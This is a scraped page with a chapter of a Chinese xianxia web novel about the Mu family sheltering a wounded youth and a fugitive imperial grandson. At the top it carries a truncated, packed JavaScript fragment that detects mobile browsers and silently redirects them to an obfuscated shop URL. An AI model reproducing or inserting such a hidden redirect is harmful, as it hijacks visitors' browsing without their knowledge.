RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987454|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多烧些热水,煮上几块布,再把慕海那间收拾出来。” 慕山二话没说,放下东西就蹲身背人。 慕爹一边帮着把少年扶到他背上,一边担心地小声道:“带我们家里吗?要不要给村长说一声,地上这些人又是怎么回事?” 慕云:“村里连个大夫都没有,也就我们家里还有些草药,先带回家照顾一下吧。村长那边,回头我会亲自去说。” 慕雨看慕云没再有吩咐,再次转身快步先走。 苍暝没等慕云出声,自觉地迈步跟上她。 只是,刚走两步,心头突然生出些许怪异感。 他停步回头,细看一下四周和远方,但没发现异样,这才重新跟上慕雨。 慕雨是干惯活的利索人,一路小跑着,很快回到家中传达慕云的话。慕娘没多问,马上去厨房烧水。慕海也在家,听说要用自己房间,乖乖地进去收拾。 苍暝站在院门口,望着村口过来的方向。 等了好一会儿,才见到慕爹背着人回来,慕山手中提着农具,慕云则牵着那个男孩。 路上碰着村人问,慕云就淡定回答见人倒在路边,想来是累晕了,背回家里让人歇一歇。 一行人进家门之时,苍暝和慕云对上眼神,见慕云给自己使了个眼色。 慕云回身关门,快速说道:“慕山,你洗净手,先给那人脱了衣服,把热水和我们喝的水兑温,用煮过的布帮他把各种伤口擦干净。我去拿些草药来熬。” 慕山一边应,一边跟着背人的慕爹去了慕海那屋。 苍暝也跟在慕云身边走进慕云的房间。 慕云没急着拿草药,而是蹲下身,小声地对苍暝道:“刚才回来的半路上,我感觉到那些人全都死了。” 苍暝诧异:“都死了?” 慕云:“本来我是将他们的魂魄全收进离火鉴,但现在离火鉴里的魂全散了,我猜应该是死了。” 苍暝:“凡人进不了离火鉴?” 慕云:“我感觉不像。收进去之后,他们一直在里面闹腾,后面却没有任何征兆地突然消散。还几乎是同时散的,不是一个接一个那种。” 苍暝听得也觉奇怪——地上那么多人,便是又出现人来杀他们,也总该有个先后。 他道:“你照顾人,我去看看。” 慕云点下头,叮嘱:“千万小心。” 苍暝本已要转身,听到这句,回头看看他脸色,问:“你怎么样。” 慕云笑笑:“无妨,有离火鉴,休养一段日子就能恢复。” 苍暝:“那点人数我能对付。下次我在之时,你不用如此冒险。” 慕云一愣:“你不是明日就走了。” 苍暝:“这事明显不简单,我会留到你家里安全为止。” 慕云眨巴下眼,再笑开:“谢谢。” 苍暝点下头。转身独自出门去。 这个时间段,外出劳作的村人陆续回家,苍暝就没有用全力跑,免得引起旁人关注。 不过狗的速度总比人快,没多久他就回到那个弯道上。 苍暝再次蹙眉。 弯道上干干净净,刚才的一地人和马都全无影踪。 甚至,地面上还保持着原有的痕迹不变,连新的拖拽痕迹都没有。 . 20.消息 苍暝想起先前离开此地时突然生出的异样感,警惕地凝神细听细看。 但,除了人马像是凭空消失的地面,依旧没有发现其他异样。 苍暝低下头,缓缓在地面上嗅闻一圈。然而,除了血腥味,也没闻出不对。 他又沿着路往前跑,一直跑到慕雨挖野菜的山脚,再折反回来,往明显有马队奔跑痕迹的另一条路跑一段。只是,仍然没见到什么不对劲之处。 苍暝确定在这条路上不会有收获,才转身往村里跑。 一路上,他回想了一下和慕雨同去挖野菜的那三个姑娘,以及田地和慕家挨着的几户人家。进到村子后,特地往那些人的家里绕了一圈,听听可有人议论那条弯路上的事。 也没有。 现在这个时候,除了上山挖野菜,就没人会走到那边弯路去。因此正常来说,没人发现那里出事也不奇怪。 总之,综合目前的所见,那些人死亡和消失,非凡人之力所为的可能越来越大。 苍暝不由得想起,先前慕山受袭击时,慕云说过的从前年就出现的离奇命案。 这个村子也真实发生了一起——王发财之死。 但,那些死者还留着尸体。 而且,据慕云听到的传闻,出事的都是二十岁上下的年轻男子。今日这些消失的人则是青壮,年纪看着从二十到四十都有。 苍暝不禁想——莫非两者并无关联? 若无关联,那就是又多出一桩诡事。 他忍不住转头望向与修真界相连的那座山——难道是因为这附近靠近结界,才容易招惹来那些麻烦。 * 苍暝回到慕家时,是慕海来给苍暝开的院门。 慕海和平常那样弯身摸摸苍暝的头,小声在他耳边说晚饭刚刚做好,一家人正等着他回来一同吃。 去往堂屋之时,苍暝扭头看了眼慕海的屋——房门关着,能听到里面有两道平稳的气息声。 慕海留意到了,继续小声说:“大哥给那个受伤的大哥哥上了药,喝的药正煎着,说是晚点他要还没醒,就给灌进去。那个小哥哥刚才吃了个饼,大哥看他受了惊,又很累,让他先睡会儿,不知睡着没。” 苍暝和慕海进到堂屋,慕雨和慕山夫妇也将晚饭端上桌,一家人如常吃饭。 苍暝的位置在慕云和慕海之间,现在那里也放着他的垫子,套的是慕山夫妇送的那个靛蓝色套。 只是,苍暝一踩上去就感觉到了不同——换了个普通垫子。 紧接着,慕云的手搭在他头上,给他顺几下毛。 苍暝抬头看他。 慕云笑着给他夹上一块排骨:“今日暮色辛苦了,多吃点。” 苍暝趴在垫子上,低头吃饭。 晚饭期间,慕雨才把先前那惊险的情形详细给家人说了一遍,听得慕家人都是一阵阵后怕。 随即又纷纷将目光集中在苍暝身上——很明显,都以为让那些人突然倒地的功劳是他的。 慕海扭身给苍暝的碗里夹一大块蛋:“暮色辛苦了!” 慕爹则担心地问:“那些人那么霸道,等他们醒了,会不会直接杀进村子里来?” 慕云再次伸手给苍暝顺顺毛,一边问:“暮色,刚才你过去,还见到那些人吗?” 苍暝抬首,再摇摇头。 慕云:“一个人都没有?附近呢?” 苍暝先点头,再摇头。 慕云便对慕家人道:“既然那些人直接离开,应当还是有所顾忌。那两个表兄弟,虽然穿的衣服布料一般,却是新衣。而且用的枪和药都是上好的,银子也是整锭的新官银,身份必不简单。 “晚点等人醒过来,我先问一问情况,明日再去和村长说了,看看他怎么想。对外我们就还是坚持先前的说法,只说遇到人倒在路边才救回来。哪怕有人说听到什么动静,也一概不认。” 众人都神色严肃地点点头。 吃过饭,众人依旧忙活自己该忙的事。 慕海房间被占,东西收拾进了慕云的屋里,暂时和慕云同住。不过慕云先打发他去了厨房,帮着慕雨一同煎药熬粥。 苍暝和慕云回屋,看他关了门,就将刚才弯路上的情形、以及村里各家都无异样的情况说了说。 慕云思索着道:“你觉得,是先前弄死王发财的那个东西,还是又出现个新东西?” 苍暝:“说不好。没有相似之处,但若是同时有两个东西在附近游荡,会不会又太凑巧。” 慕云没多纠结:“等那人醒来,先问过他再看吧。” 又道:“垫子我拿给他用了。他伤得有点重,流了不少血,我按着医书的方子给他配了一剂药,但愿他能撑过去。” * 药煎好,慕云端着药汤、一锅肉菜粥、一碟饼,进了慕海屋里。苍暝跟在他身边。 少年已经醒来,男孩站在桌边,就着窗外的微弱月光倒水。 见慕云进来,少年挣扎着想起身。 慕云开口道:“你不要动,别把伤口崩开。你的止血药效果很好,但也没必要浪费。” 少年闻言,这才不再动弹。 慕云将托盘放到桌上,先点起油灯,再对男孩说:“你刚才只吃了一个饼,若是吃得下,就再吃一些吧。” 男孩轻声道谢,自己拿个碗舀粥,坐在桌边安安静静地吃。 慕云走到床边,先查看一下少年那三道大伤口,见没有裂开流血,才把托盘端到床上来:“这两日你先趴着,等伤口结了痂,才好慢慢行动。” 少年虚弱地道谢:“多谢慕郎君一家仗义相救,待在下伤势好后……” 慕云打断他:“那些以后再说,你先吃点东西,再把药喝了,才好有力气多说点话。” 少年也知道慕云必定有话要问,没再多说,就着趴卧的姿势吃东西。 饼子是粗面蒸的,吃着有点拉嗓子。慕云看少年和男孩都把饼掰碎了泡粥里,就着粥一起吃下去,便知他们原先的吃食必然很精细。 慕云让两人慢慢吃,担心自己在会给他们压力,还出屋在院子里等。直到男孩开门探头出来张望,才再进屋。 少年:“慕郎君……” 慕云在床头坐下,一边道:“叫我慕云就好,仰慕的慕,云朵的云。你伤得重,现在虽醒了,但并不代表没事。夜里必定会起热,撑过三四日才算大好。我们村里没有郎中,我只是识得一些草药,你若想看大夫,明日我可以送你到县城里的医馆去。” 少年沉默着没说话。 慕云话锋一转:“但前提是,你要告诉我你们的情况。若你不愿说真话,我就只能将你们送到县衙去了。” 不料,少年却问:“这里的县令是谁?” 慕云:“我只知姓梁,不知名讳。” 少年再次沉默。 慕云:“那些人不知何时会再来,我家冒着性命之危收留你们,我总得知道原由。” 少年看看慕云虽温和却不容商量的神色,再看看他腿边那只威风的大白狗,想到今日的九死一生,以及慕家人和狗的神奇之处,心中几经挣扎,最终还是长叹口气,慢慢讲述起来。 随后,慕云就因两人的身份而心中暗惊。 男孩叫杨兴,是当朝太子的嫡长子,也就是皇孙。少年叫段规,杨兴的表兄,太子妃的娘家侄子。只是,两人是从京城里逃出来的。当时天子突然病倒,太子被怀疑对天子实施巫蛊之术,因此遭到软禁。 慕云听得诧异:“巫蛊之术?” 段规神色悲伤地道:“太子殿下对圣上一片孝心,怎可能做那种恶事!一开始殿下每日都上表陈情,求见圣上。但后来,宫里有人冒死传出消息,说圣上一直昏迷着,旨意是太后下的,大臣们不敢反对。 “殿下这才发现此事非同一般,赶紧命两名卫士护送小殿下和我秘密出宫。可那时满朝文武噤若寒蝉,我家原本又只是小门小户,实在找不到人可托付,最后就决去先去寻一寻殿下最初那位致仕的老师。 “但走到半路,突然冒出追兵追杀我们。两名卫士拦着追兵,让我带小殿下先走,哪知我们走着走着就迷了路。我们明明都走偏那么多了,没想到那群人还能追上来!” 慕云追问:“那群人什么身份。” 段规却摇摇头:“我们不认得,他们也没说。太子殿下现在就小殿下一个儿子,我猜他们背后之人肯定有夺大位的野心。” 慕云奇道:“天子病倒就该寻医问药,怎么还能怪到太子头上。是太子被抓到了什么实证?” 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慕云:“具体哪些地方,那些地方又在什么方位,你可知道。” 段规呆住了:“这……京城附近没出事,所以我就是听听,没有特别去记……” 一旁的杨兴却突然小声道:“我记得,我还专门查过舆图。” 慕云转头往桌子那边扫一见,见慕海练字用的沙盘没拿走,便取过来放在他前:“麻烦小殿下将各处方位画出来。” 杨兴看看段规,见段规没有反对,就拿起木棍在沙盘地小心地画。慕云耐心地等着他边回想边画完,看过几眼,便伸手将图抹了去。 此时慕云的神色已恢复为原本的温和模样,对段规道:“你先养伤吧。好好休息,今晚我弟弟慕山会照顾你,有什么需要就和他说。” 说完,转身出了门。 苍暝跟着出去,却见慕云没有回自己房间,而是站在院中仰头望着空中不甚清晰的月亮。 他停在慕云脚边,先仔细听了下各房间里的声音,确认没有人要出来,就小声说:“你相信他们的说词?” 慕云也小声回:“段规一看就是那种家里保护得很好、涉世未深的少年郎,我看他不像撒谎。” 苍暝刚想再问慕云让杨兴画那个方位图的用意。 慕云却先一步蹲下身,顺着白狗的毛说:“今日辛苦你跑来跑去的,你先去休息吧。我得好好想一想怎么和村长说他们的事。” 苍暝看看他,没再说话,起身自己回了屋。 慕海正在屋里看绘本,见苍暝回来,很开心地去打水给他擦爪子,又拿出把小梳子:“暮色,我给你梳毛毛吧?” 苍暝就想起慕云那句“等慕海知道你走了,一定会很难过”。他虽然暂时留下了,但也不知何时会走,多满足一下慕海的愿望也无妨,便点点头。 慕海高兴地在他身旁坐下,一边轻轻梳着大白狗浓密的长毛,一边嘀嘀咕咕地说他和小伙伴们的趣事。 等慕海把白狗的毛都梳顺,慕云才推门进来。 慕云一边给自己倒水,一边状似随意地说:“慕海,我今日跑得急,好像有点吃风着凉了。今晚你先去跟爹娘睡吧,别传给你。等明日我要能确定没事,你再过来。” 慕海一听这话,连忙抱着自己的枕头爬下炕:“那大哥你赶紧好好休息,我去爹娘那边了。” 苍暝趴着没动,等慕海出了门,开口问:“要说什么。” 他听到慕云脱鞋坐上炕的动静,却没听见回话,才睁开眼睛看过去。 慕云的表情很是严肃,眼中却又带着愧疚。 他说:“抱歉,先前有些事骗了你。” 苍暝倒是并不吃惊。 以慕云目前展露出的本事,他身上必然藏有关乎修炼的秘密。他们才相识短短几个月,慕云不向自己交底是再正常不过的事。 苍暝动动耳朵,示意自己在听。 慕云续道:“你要找的东西在我这里。” 苍暝耳朵定住,抬起头来看他。 慕云:“我可以给你,但有条件。” 苍暝盯着他的眼睛:“说。” 慕云深吸口气,开口:“我要和你结道侣之契。” .